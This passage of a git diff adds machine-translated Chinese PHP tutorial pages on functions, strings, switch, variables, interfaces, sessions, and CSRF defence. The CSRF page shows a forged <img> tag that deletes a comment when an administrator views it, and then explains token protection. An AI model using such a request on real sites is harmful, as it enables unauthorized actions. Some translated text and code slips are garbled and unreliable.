+如果use没有将任何值传递给此函数，则以下函数将打印NULL。
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function which returns value</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function printMe($param = NULL) { 
+            print $param; 
+         } 
+ 
+         printMe("This is test"); 
+         printMe(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将产生以下结果 -
+```
+This is test 
+```
+
+### 动态函数调用
+
+可以将函数名称作为字符串分配给变量，然后像处理函数名称一样处理这些变量。以下示例描述了此行为。
+```
+<html> 
+ 
+   <head> 
+      <title>Dynamic Function Calls</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function sayHello() { 
+            echo "Hello<br />"; 
+         } 
+ 
+         $function_holder = "sayHello"; 
+         $function_holder(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将显示以下结果 -
+```
+Hello 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-install/index.md b/client/src/guide/chinese/php/php-install/index.md
new file mode 100644
index 0000000000..eeea35cb67
--- /dev/null
+++ b/client/src/guide/chinese/php/php-install/index.md
@@ -0,0 +1,29 @@
+---
+title: PHP Install
+localeTitle: PHP安装
+---
+### 我需要安装什么？
+
+要开始使用PHP，您可以：
+
+找到支持PHP和MySQL的Web主机。 在您自己的PC上安装Web服务器，然后安装PHP和MySQL。 您可以查看以下链接以获取PHP服务器和MYSQL，以便为PHP运行创建本地envinonment： Web服务器：https：//httpd.apache.org/download.cgi 数据库：https：//www.mysql.com/downloads/
+
+### PHP解析器安装
+
+在继续之前，确保在计算机上进行适当的环境设置以使用PHP开发Web程序非常重要。
+
+在浏览器的地址栏中键入以下地址。
+
+```shell
+http://127.0.0.1/info.php 
+```
+
+如果这显示一个显示PHP安装相关信息的页面，则表示您已正确安装了PHP和Webserver。
+
+### 在自己的PC上设置PHP
+
+但是，如果您的服务器不支持PHP，您必须： 安装Web服务器 安装PHP 安装数据库，例如MySQ。
+
+### 更多信息
+
+官方PHP网站（PHP.net）有PHP的安装说明：http：//php.net/manual/en/install.php 要在单个包中同时获取Web服务器和数据库，请使用以下链接：https：//www.mamp.info/en/
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-keywords/index.md b/client/src/guide/chinese/php/php-keywords/index.md
new file mode 100644
index 0000000000..409a2d1af8
--- /dev/null
+++ b/client/src/guide/chinese/php/php-keywords/index.md
@@ -0,0 +1,11 @@
+---
+title: PHP Keywords
+localeTitle: PHP关键字
+---
+## PHP关键字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-keywords/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-strings/index.md b/client/src/guide/chinese/php/php-strings/index.md
new file mode 100644
index 0000000000..c8dc75b4b3
--- /dev/null
+++ b/client/src/guide/chinese/php/php-strings/index.md
@@ -0,0 +1,101 @@
+---
+title: PHP strings
+localeTitle: PHP字符串
+---
+它们是字符序列，例如“PHP支持字符串操作”。
+
+注 - 函数参考PHP字符串函数中给出了内置字符串函数
+
+以下是字符串的有效示例
+
+$ string _1 =“这是双引号中的字符串”; $ string_ 2 =“这是一个稍长的单引号字符串”; $ string _39 =“这个字符串有三十九个字符”; $ string_ 0 =“”; //一个零字符的字符串 单引号字符串几乎按字面处理，而双引号字符串用其值替换变量以及特别解释某些字符序列。
+```
+<?php 
+   $variable = "name"; 
+   $literally = 'My $variable will not print!\\n'; 
+ 
+   print($literally); 
+   print "<br />"; 
+ 
+   $literally = "My $variable will print!\\n"; 
+ 
+   print($literally); 
+ ?> 
+```
+
+这将产生以下结果 -
+```
+My $variable will not print!\n 
+ My name will print 
+```
+
+字符串长度没有人为限制 - 在可用内存的范围内，你应该能够制作任意长的字符串。
+
+由双引号分隔的字符串（如“this”中所示）由PHP以下两种方式进行预处理 -
+
+以反斜杠（）开头的某些字符序列将替换为特殊字符
+
+变量名（以$开头）将替换为其值的字符串表示形式。
+
+逃逸序列的替换是 -
+
+\\ n由换行符替换 \\ r \\ n由回车符替换 \\ t由制表符替换 \\ $被美元符号本身取代（$） \\“被一个双引号（”）取代 \\被一个反斜杠替换（）
+
+### 字符串连接运算符
+
+要将两个字符串变量连接在一起，请使用点（。）运算符 -
+```
+<?php 
+   $string1="Hello World"; 
+   $string2="1234"; 
+ 
+   echo $string1 . " " . $string2; 
+ ?> 
+```
+
+这将产生以下结果 -
+```
+Hello World 1234 
+```
+
+如果我们查看上面的代码，您会看到我们使用了连接运算符两次。这是因为我们必须插入第三个字符串。
+
+在两个字符串变量之间，我们添加了一个带有单个字符的字符串，一个空格，以分隔这两个变量。
+
+### 使用strlen（）函数
+
+strlen（）函数用于查找字符串的长度。
+
+让我们找到字符串“Hello world！”的长度：
+```
+<?php 
+   echo strlen("Hello world!"); 
+ ?> 
+```
+
+这将产生以下结果 -
+```
+12 
+```
+
+当知道字符串何时结束很重要时，字符串的长度通常用在循环或其他函数中。 （即在循环中，我们希望在字符串中的最后一个字符后停止循环）
+
+### 使用strpos（）函数
+
+strpos（）函数用于搜索字符串中的字符串或字符。
+
+如果在字符串中找到匹配项，则此函数将返回第一个匹配项的位置。如果未找到匹配项，则返回FALSE。
+
+让我们看看我们是否可以在字符串中找到字符串“world” -
+```
+<?php 
+   echo strpos("Hello world!","world"); 
+ ?> 
+```
+
+这将产生以下结果 -
+```
+ 6 
+```
+
+如您所见，字符串“world”在字符串中的位置是位置6.它是6而不是7的原因是字符串中的第一个位置是0，而不是1。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-switch/index.md b/client/src/guide/chinese/php/php-switch/index.md
new file mode 100644
index 0000000000..bd68da0989
--- /dev/null
+++ b/client/src/guide/chinese/php/php-switch/index.md
@@ -0,0 +1,68 @@
+---
+title: PHP Switch
+localeTitle: PHP开关
+---
+## PHP开关
+
+PHP中的`switch`语句类似于同一表达式上的一系列`if`语句。 `switch`语句用于在不同条件下执行不同的操作。 `switch`语句的语法如下
+```
+switch (expression) { 
+ 
+    case label1: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    case label2: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    case label3: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    default: 
+        // code block to be executed if there is no match with result of expression 
+ 
+ } 
+```
+
+当我们运行程序时，将评估`switch`语句中的表达式。如果存在匹配则使用相应的标签检查该表达式的结果，然后执行相应的`case`块。如果未找到任何case语句的匹配项，则仅执行`default`后面的代码块。
+
+`switch`声明的例证与一个例子的
+```
+<?php 
+ 
+ $i = 1 
+ switch ($i) { 
+    case 0: 
+        echo "i equals 0"; 
+        break; 
+    case 1: 
+        echo "i equals 1"; 
+        break; 
+    case 2: 
+        echo "i equals 2"; 
+        break; 
+ } 
+ 
+ ?> 
+```
+
+`switch`语句也可以在没有`break`语句的情况下使用。在这种情况下，匹配案例之后的陈述将被执行。下面是没有`break`语句的`switch`语句的用法。
+```
+<?php 
+ switch ($i) { 
+    case 0: 
+        echo "i equals 0"; 
+    case 1: 
+        echo "i equals 1"; 
+    case 2: 
+        echo "i equals 2"; 
+ } 
+ ?> 
+ 
+ /*output --> i equals 0i equals 1i equals 2 */ 
+```
+
+#### 更多信息：
+
+[Switch语句 - PHP文档](http://php.net/manual/en/control-structures.switch.php)
+
+[PHP5 Switch - W3Schools](https://www.w3schools.com/php/php_switch.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-syntax-and-comments/index.md b/client/src/guide/chinese/php/php-syntax-and-comments/index.md
new file mode 100644
index 0000000000..7a691b33dc
--- /dev/null
+++ b/client/src/guide/chinese/php/php-syntax-and-comments/index.md
@@ -0,0 +1,40 @@
+---
+title: PHP Syntax and Comments
+localeTitle: PHP语法和注释
+---
### PHP语法
+
+PHP语法的结构有点像：
+
+```shell
+    <?php 
+ 
+    // Your PHP code goes here. 
+ 
+    ?> 
+```
+
+此PHP脚本可以放在文档中的任何位置。 PHP文件通常包含HTML标记和一些脚本代码。 PHP文件的默认文件扩展名为`.php` 。
+
+###如何在PHP中发表评论？
+
+PHP代码中的注释是不作为程序的一部分读取/执行的行。它的唯一目的是让正在查看代码的人阅读。
+
+在PHP中，注释可以通过单行或多行两种方式进行。 下面给出的代码片段解释了它：
+
+```shell
+<? 
+   // This is a single-line comment 
+ 
+    # This is also a single-line comment 
+ 
+   /* 
+     This is a multiple-lines comment block 
+     that spans over multiple 
+     lines 
+   */ 
+ ?> 
+```
+
+### 更多信息
+
+有关更多资源，请访问：https：//www.w3schools.com/php/php\_syntax.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-syntax/index.md b/client/src/guide/chinese/php/php-syntax/index.md
new file mode 100644
index 0000000000..bc0c62086b
--- /dev/null
+++ b/client/src/guide/chinese/php/php-syntax/index.md
@@ -0,0 +1,81 @@
+---
+title: PHP Syntax
+localeTitle: PHP语法
+---
+# 基本的PHP语法
+
+### 开始
+
+所有PHP文件都以`.php`扩展名保存。 PHP脚本可以添加到文档中的任何位置。 PHP脚本以`<?php`开头，以`?>`结尾。
+
+`<?php //PHP code goes here ?>`
+
+### 打印
+
+要在PHP中打印任何语句，我们使用`echo`命令。
+
+#### 代码示例
+```
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <h1>My first PHP page</h1> 
+ 
+ <?php 
+ echo "Hello World!"; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+##### 注意：PHP语句以分号结尾`;`
+
+### 声明变量
+
+我们通过在它们之前添加美元`$`符号在PHP中声明变量。
+```
+<?php 
+ $x = 5; 
+ echo $x; 
+ ?> 
+```
+
+### PHP中的评论
+
+要在PHP中编写单行注释，我们将hashtag `#`或在注释之前放置`//` 。
+```
+<?php 
+ # This is a single line comment 
+ // This is also a single line comment 
+ ?> 
+```
+
+要写双行注释，我们用`/*`开始注释，用`*/`结束。
+```
+<?php 
+ /* This is a 
+ Double line comment. */ 
+ ?> 
+```
+
+我们还可以注释掉代码行的某些部分。
+
+#### 代码示例
+```
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // You can also use comments to leave out parts of a code line 
+ $x = 5 /* + 15 */ + 5; 
+ echo $x; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+您可以在[PHP手册](http://php.net/manual/en/)上看到更多相关信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-tags/index.md b/client/src/guide/chinese/php/php-tags/index.md
new file mode 100644
index 0000000000..482816c8cc
--- /dev/null
+++ b/client/src/guide/chinese/php/php-tags/index.md
@@ -0,0 +1,21 @@
+---
+title: PHP tags
+localeTitle: PHP标签
+---
+当PHP解析文件时，它会查找开始和结束标记，它们是`<?php`和`?>` ，它告诉PHP启动和停止解释它们之间的代码。以这种方式解析允许PHP嵌入到各种不同的文档中，因为PHP解析器忽略了一对开始和结束标记之外的所有内容。
+
+PHP还允许短开标签`<?` （不建议这样做，因为只有在使用`short_open_tag php.ini`配置文件指令启用时才可用，或者如果PHP配置了`--enable-short-tags`选项）。
+
+如果文件是纯PHP代码，则最好省略文件末尾的PHP结束标记。这可以防止在PHP结束标记之后添加意外的空格或新行，这可能会导致不必要的影响，因为当程序员无意在脚本中发送任何输出时，PHP将启动输出缓冲。
+
+```php
+<?php 
+ echo "Hello world"; 
+ 
+ // ... more code 
+ 
+ echo "Last statement"; 
+ 
+ // the script ends here with no PHP closing tag 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-variables/index.md b/client/src/guide/chinese/php/php-variables/index.md
new file mode 100644
index 0000000000..e6801096f6
--- /dev/null
+++ b/client/src/guide/chinese/php/php-variables/index.md
@@ -0,0 +1,58 @@
+---
+title: PHP Variables
+localeTitle: PHP变量
+---
+## 变量
+
+变量是用于存储信息的“容器”。使用美元（$）符号声明变量，紧接着是变量名称。例如，下面的代码块将创建一个名为`myVariable`的变量，并为其分配字符串`Hello World` 。
+
+```php
+<?php 
+ $myVariable = "Hello World"; 
+ $x = 5; 
+ $y = 10.5; 
+ $z = '42'; 
+ ?> 
+```
+
+执行上面的语句后，变量`$myVariable`将保存一个值为Hello world！的字符串，变量`$x`将保存一个值为5的整数，变量`$y`将保存一个带有值的float为10.5，变量`$z`将保存一个值为42的字符串。
+
+# 命名变量
+
+与任何编程语言一样，PHP具有适用于命名变量的某些规则。有效变量名称将遵循以下规则
+
+*   变量必须以$符号开头，后跟变量名称
+*   变量名必须以字母或下划线字符开头
+*   变量名称不能以数字开头
+*   变量名只能包含字母数字字符和下划线（Az，0-9和\_）
+*   变量名称区分大小写（$ age和$ AGE是两个不同的变量）
+
+# 预定义变量
+
+PHP有几个特殊的关键字，虽然是“有效”的变量名，但不能用于你的变量。这样做的原因是语言本身已经定义了这些变量，它们用于特殊目的。下面列出了几个示例，有关完整列表，请参阅[PHP文档站点](https://secure.php.net/manual/en/language.variables.predefined.php) 。
+
+*   `$this`
+*   `$_GET`
+*   `$_POST`
+*   `$_SERVER`
+*   `$_FILES`
+
+# 将值分配给变量
+
+要为变量赋值，只需键入变量，然后键入等于运算符（=），后跟值。例如
+
+`PHP $myVariable = "Hello World"; $number1 = 5; $number2 = 10; $total = $number1 + $number2;`
+
+您可能已经注意到上述示例的几个重要事项。我声明它的第一个变量等于**Hello World** ，用引号括起来。这是因为**Hello World**是一串文本，字符串必须用引号括起来。 我声明`$number1`的第二行等于5的值。我可以声明`$number1`等于`"5"` ，这会告诉PHP我希望将5存储为字符串，而不是实际值。不同之处在于您无法对字符串执行计算（就像我在第4行中所做的那样）。 第四行我声明`$total`等于`$number1`加上`$number2`的值。这称为通过引用声明值。
+
+# PHP是一种松散类型的语言
+
+在上面的例子中，请注意我们不必告诉PHP该变量是哪种数据类型。 PHP会自动将变量转换为正确的数据类型，具体取决于其值。 在其他语言（如C，C ++和Java）中，程序员必须在使用之前声明变量的名称和类型。
+
+# 结论
+
+PHP可以很容易地处理变量，您应该将变量视为存储信息的容器。有关更多信息，请查看以下资源：
+
+*   [PHP变量文档](http://php.net/manual/en/language.variables.php)
+*   [W3Schools PHP变量](https://www.w3schools.com/php/php_variables.asp)
+*   [PHP数据类型](https://guide.freecodecamp.org/php/data-types)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/polymorphism-abstract-interface/index.md b/client/src/guide/chinese/php/polymorphism-abstract-interface/index.md
new file mode 100644
index 0000000000..93264f1c25
--- /dev/null
+++ b/client/src/guide/chinese/php/polymorphism-abstract-interface/index.md
@@ -0,0 +1,374 @@
+---
+title: Polymorphism with Abstract and Interface
+localeTitle: 具有抽象和接口的多态性
+---
+## 具有抽象和接口的多态性
+
+_使用Abstract类和接口与Polymorphism共享和强制执行代码_
+
+我们将深入研究面向对象编程，并尝试用设计模式来思考，以便使用多态来共享和实施我们的代码。
+
+### 抽象类
+
+假设我们有一个名为Man的类，它有一些属性（ `name` ， `age` ， `height` ， `fav_drinks`和`fav_sports` ）和方法（ `giveFirmHandshakes` ， `beStubborn`和`notPutToiletPaper` ）。
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+```
+
+我们需要指定名称，年龄和高度，以根据构造函数的要求实例化此类。
+
+```php
+<?php 
+ $jack = new Man('Jack', '26', '5 Feet 6 Inches'); 
+ 
+ echo sprintf('%s - %s - %s', $jack->name, $jack->age, $jack->height); 
+ // => Jack - 26 - 5 Feet 6 Inches 
+```
+
+现在，假设我们要为此类添加一个名为isActive的新方法。
+
+此方法检查属性是否处于活动状态，并根据active的值返回相应的消息，默认值为false。对于那些活跃的人，我们可以将其设置为true。
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+    public $active = false; 
+ 
+    ..... 
+    ..... 
+ 
+    public function isActive() 
+    { 
+        if ($this->active == true) { 
+            return "I am an active man."; 
+        } else { 
+            return "I am an idle man."; 
+        } 
+    } 
+ } 
+ 
+ $jack = new Man('Jack', '26', '5 Feet 6 Inches'); 
+ $jack->active = true; 
+ echo $jack->isActive(); 
+ // => I am an active man. 
+ 
+ $jake = new Man('Jake', '30', '6 Feet'); 
+ echo "\n" . $jake->isActive(); 
+ // => I am an idle man. 
+```
+
+如果一个人不活跃或闲置怎么办？
+
+如果有1到4的等级来衡量一个人的活跃程度怎么办？ （1 - 闲置，2 - 轻微活动，3-中等活跃，4-非常活跃）？
+
+我们可以有一个这样的if..elseif..else语句：
+
+```php
+<?php 
+ 
+ public function isActive() 
+ { 
+    if ($this->active == 1) { 
+        return "I am an idle man."; 
+    } elseif ($this->active == 2) { 
+        return "I am a lightly active man."; 
+    } elseif ($this->active == 3) { 
+        return "I am a moderately active man."; 
+    } else { 
+        return "I am a very active man."; 
+    } 
+ } 
+```
+
+现在，让我们更进一步。
+
+如果Man的活动属性不仅仅是一个整数（1,2,3,4等）怎么办？
+
+如果活跃的价值是“运动”或“懒惰”怎么办？
+
+我们不是必须添加更多的elseif语句来寻找与这些字符串的匹配吗？
+
+抽象类可用于此类场景。
+
+对于抽象类，您基本上将类定义为抽象，并将要强制实现的方法定义为抽象，而不实际将任何代码放在这些方法中。
+
+然后创建一个扩展父抽象类的子类，并在该子类中实现抽象方法。
+
+这样，您将强制执行所有子类以定义自己的抽象方法版本。让我们看看如何将`isActive()`方法设置为抽象。
+
+# 1：将类定义为抽象。
+
+```php
+<?php 
+ abstract class Man 
+ { 
+ ..... 
+ ..... 
+ } 
+```
+
+# 2：为要在抽象类中强制执行的方法创建抽象方法。
+
+```php
+<?php 
+ abstract class Man 
+ { 
+ ..... 
+ ..... 
+ abstract public function isActive(); 
+ } 
+```
+
+# 3：创建扩展抽象类的子类。
+
+```php
+<?php 
+ 
+ class AthleticMan extends Man 
+ { 
+ ..... 
+ ..... 
+ } 
+```
+
+# 4：在子类中实现抽象方法。
+
+```php
+<?php 
+ class AthleticMan extends Man 
+ { 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+```
+
+# 5：实例化子类（不是抽象类）。
+
+```php
+<?php 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+```
+
+完整的抽象类定义和实现代码：
+
+```php
+<?php 
+ 
+ abstract class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    abstract public function isActive(); 
+ } 
+ 
+ class AthleticMan extends Man 
+ { 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+ 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+```
+
+在这段代码中，您会注意到`isActive()`抽象方法是在`Man`抽象类中定义的，它是在子类`AthleticMan` 。
+
+现在`Man`类无法直接实例化来创建对象。
+
+```php
+<?php 
+ $ted = new Man('Ted', '30', '6 feet'); 
+ echo $ted->isActive(); 
+ // => Fatal error:  Uncaught Error: Cannot instantiate abstract class Man 
+```
+
+此外，抽象类（ `Man`类）的每个子类都需要实现所有抽象方法。缺乏此类实施将导致致命错误。
+
+```php
+<?php 
+ class LazyMan extends Man 
+ { 
+ 
+ } 
+ 
+ $robert = new LazyMan('Robert', '40', '5 feet 10 inches'); 
+ echo $robert->isActive(); 
+ // => Fatal error:  Class LazyMan contains 1 abstract method 
+ // => and must therefore be declared abstract or implement 
+ // => the remaining methods (Man::isActive) 
+```
+
+通过使用抽象类，您可以强制某些方法由子类单独实现。
+
+### 接口
+
+还有另一种面向对象的编程概念，它与名为Interface的抽象类密切相关。
+
+抽象类和接口之间的唯一区别在于，在抽象类中，您可以在父类中混合使用已定义的方法（ `giveFirmHandshakes()` ， `isStubborn()`等）和抽象方法（ `isActive()` ），而在接口中，你只能在父类中定义（而不是实现）方法。
+
+让我们看看如何将Man抽象类转换为接口。
+
+# 1：使用所有方法定义接口（使用接口而不是类）。
+
+```php
+<?php 
+ interface Man 
+ { 
+    public function __construct($name, $age, $height); 
+ 
+    public function giveFirmHandshakes(); 
+ 
+    public function beStubborn(); 
+ 
+    public function notPutToiletPaper(); 
+ 
+    public function isActive(); 
+ } 
+```
+
+# 2：创建一个实现接口的类（使用implements而不是extends）。该类必须实现接口内定义的所有方法，包括构造方法。
+
+```php
+<?php 
+ class AthleticMan implements Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+```
+
+# 3：实例化实施班（AthleticMan）
+
+```php
+<?php 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+```
+
+使用接口，您需要记住：
+
+*   这些方法无法在界面内实现。
+    
+*   无法在界面内定义变量（属性）。
+    
+*   接口内定义的所有方法都需要在子（实现）类中实现。
+    
+*   需要在子类中定义所有必需的变量。
+    
+*   Man接口强制实现其实现类以实现接口中的所有方法。
+    
+
+那么，接口的用途是什么？
+
+难道我们不能只创建一个新类AthleticMan并创建所有方法而不是实现接口吗？
+
+这就是_设计模式_发挥作用的地方。
+
+当有一个基类（ `Man` ）想要强制你做某事时（构造一个对象，给定一个握手，beStubborn，notPutToiletPaper并检查你是否活跃）但是不想告诉你具体如何去做，就会使用接口。
+
+您可以继续使用您认为合适的实现来创建实现类。
+
+只要实现了所有方法， `Man`接口就不关心如何了。
+
+我们已经了解了如何以及何时在PHP中使用抽象类和接口。使用这些OOP概念使具有不同功能的类共享相同的基础“蓝图”（抽象类或接口）称为多态。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/pp-sessions/index.md b/client/src/guide/chinese/php/pp-sessions/index.md
new file mode 100644
index 0000000000..004f72b209
--- /dev/null
+++ b/client/src/guide/chinese/php/pp-sessions/index.md
@@ -0,0 +1,143 @@
+---
+title: PHP Sessions
+localeTitle: PHP会话
+---
+# PHP会话
+
+会话是一种存储要在多个页面中使用的信息（在变量中）的方法。  
+与cookie不同，信息不存储在用户的计算机上。
+
+## 什么是PHP会话？
+
+使用应用程序时，打开它，进行一些更改，然后关闭它。这很像一个Session。  
+电脑知道你是谁。它知道您何时启动应用程序以及何时结束。  
+但在互联网上存在一个问题：Web服务器不知道您是谁或您做了什么，因为HTTP地址_不维护状态_ 。
+
+会话变量通过存储要在多个页面中使用的用户信息（例如用户名，喜欢的颜色等）来解决此问题。  
+默认情况下，会话变量会持续到用户关闭浏览器为止。
+
+**会话变量包含有关单个用户的信息，并且可用于一个应用程序中的所有页面。**
+
+**注意：**如果需要永久存储，则可能需要将数据存储在数据库中。
+
+## 启动PHP会话
+
+使用_session_ start（）\_函数启动_会话_ 。  
+会话变量使用PHP全局变量设置：$ \_SESSION。
+
+**例：**
+```
+<?php 
+ // Start the session 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // Set session variables 
+ $_SESSION["favcolor"] = "blue"; 
+ $_SESSION["favanimal"] = "dog"; 
+ echo "Session variables are set."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+**注意：** session\_start（）函数必须是文档中的**第一件事** 。 **在**任何HTML标记**之前** 。
+
+输出：  
+会话变量已设置。
+
+## 获取PHP会话变量值
+
+请注意，会话变量不会单独传递到每个新页面，而是从我们在每个页面开头打开的会话（session\_start（））中检索它们。
+
+另请注意，所有会话变量值都存储在全局$ \_SESSION变量中：
+
+**例：**
+```
+<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // Echo session variables that were set on previous page 
+ echo "Favorite color is " . $_SESSION["favcolor"] . ".<br>"; 
+ echo "Favorite animal is " . $_SESSION["favanimal"] . "."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+输出：  
+最喜欢的颜色是蓝色。  
+最喜欢的动物是狗。
+
+显示用户会话的所有会话变量值的另一种方法是运行以下代码：
+```
+<?php 
+ print_r($_SESSION); 
+ ?> 
+```
+
+### 它是如何工作的？
+
+大多数会话在用户的计算机上设置用户密钥，如下所示：765487cf34ert8dede5a562e4f3a7e12。  
+然后，当在另一个页面上打开会话时，它会扫描计算机以查找用户密钥。  
+如果匹配，则访问该会话，否则，它将启动新会话。
+
+## 修改会话变量
+
+要更改会话变量，只需覆盖它：
+
+**例：**
+```
+<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // to change a session variable, just overwrite it 
+ $_SESSION["favcolor"] = "pink"; 
+ print_r($_SESSION); 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+## 销毁PHP会话
+
+要删除所有全局会话变量并销毁会话，请使用_session_ unset（）\_和_session_ destroy（）\_：
+
+**例：**
+```
+<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // remove all session variables 
+ session_unset(); 
+ 
+ // destroy the session 
+ session_destroy(); 
+ ?> 
+ 
+ </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/cross-site-request-forgery/index.md b/client/src/guide/chinese/php/security/cross-site-request-forgery/index.md
new file mode 100644
index 0000000000..79ef5b84f8
--- /dev/null
+++ b/client/src/guide/chinese/php/security/cross-site-request-forgery/index.md
@@ -0,0 +1,58 @@
+---
+title: Cross Site Request Forgery
+localeTitle: 跨站点请求伪造
+---
+## 跨站点请求伪造
+
+跨站点请求伪造是应用程序中的一个漏洞，由程序员无法检查请求的发送位置 - 此攻击被发送给高权限级别用户以获得对应用程序的更高级别访问权限。
+
+### 示例跨站请求伪造攻击
+
+在线博客允许用户提交评论并在评论中包含图像，博客的管理面板允许博客作者通过加载URL `/admin/deletecomment.php?id=123`删除评论。恶意用户可以制作加载删除评论网址的图片标记，例如`<img src="/admin/deletecomment.php?id=123" />`以便管理员在下次查看评论时，管理员的计算机将加载网址并删除评论编号123。
+
+### 在PHP中保护您的网站免受跨站点请求伪造攻击
+
+要防止跨站点请求伪造攻击，您应该检查定期更改的令牌。 url `/admin/deletecomment.php?id=123`将更改为`/admin/deletecomment.php?id=123&csrf-token=random-per-user-unique-string-here` 。
+
+```PHP
+<?php 
+ // Checking a request's CSRF Token (if true the comment is deleted, if false the comment remains.) 
+ session_start(); 
+ if ($_GET['csrf-token'] == $_SESSION['csrf-token']){ 
+  return true; 
+ } else { 
+  return false; 
+ } 
+```
+
+**提示：**
+
+*   保持CSRF令牌完全随机并按会话更改（openssl函数可以帮助解决此问题）
+*   PHP会话对于存储用户和服务器都可访问的CSRF令牌非常有用，如果您愿意，也可以启动此流程数据库。
+*   每24小时更改一次会话的CSRF令牌。在高风险应用程序上，您可能希望在每次成功请求时更改它，但这会导致用户使用多个选项卡时出现问题。
+
+#### 安全地生成令牌
+
+设置CSRF令牌时，重要的是无法猜出密钥。 PHP中的OpenSSL函数可以为您生成随机密钥并存储为会话变量。
+
+```PHP
+<?php 
+ session_start(); 
+ $_SESSION['csrf-token'] = bin2hex(openssl_random_pseudo_bytes(16)); 
+```
+
+#### 使用CSRF令牌完成合法请求
+
+您可以在URL中包含先前保存的会话变量和CSRF令牌，以确保允许合法管理员删除注释。如果没有正确的令牌，请求将被阻止。
+
+```PHP
+<?php 
+ session_start(); 
+ echo '<a href="/admin/?id=123&csrf-token='.$_SESSION['csrf-token'].'">Delete Comment</a>'; // Only the logged in user has access to the CSRF Token - the token isn't accessible to the attacker preventing their attack from being successful. 
+```
+
+#### 更多信息：
+
+*   [OWASP Wiki - 跨站请求伪造](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
+*   [php.net bin2hex（）手册](https://secure.php.net/manual/en/function.bin2hex.php)
+*   [php.net openssl\_random\_pseudo\_bytes（）手册](https://secure.php.net/manual/en/function.openssl-random-pseudo-bytes.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/cross-site-scripting/index.md b/client/src/guide/chinese/php/security/cross-site-scripting/index.md
new file mode 100644
index 0000000000..b7e92c5f84
--- /dev/null
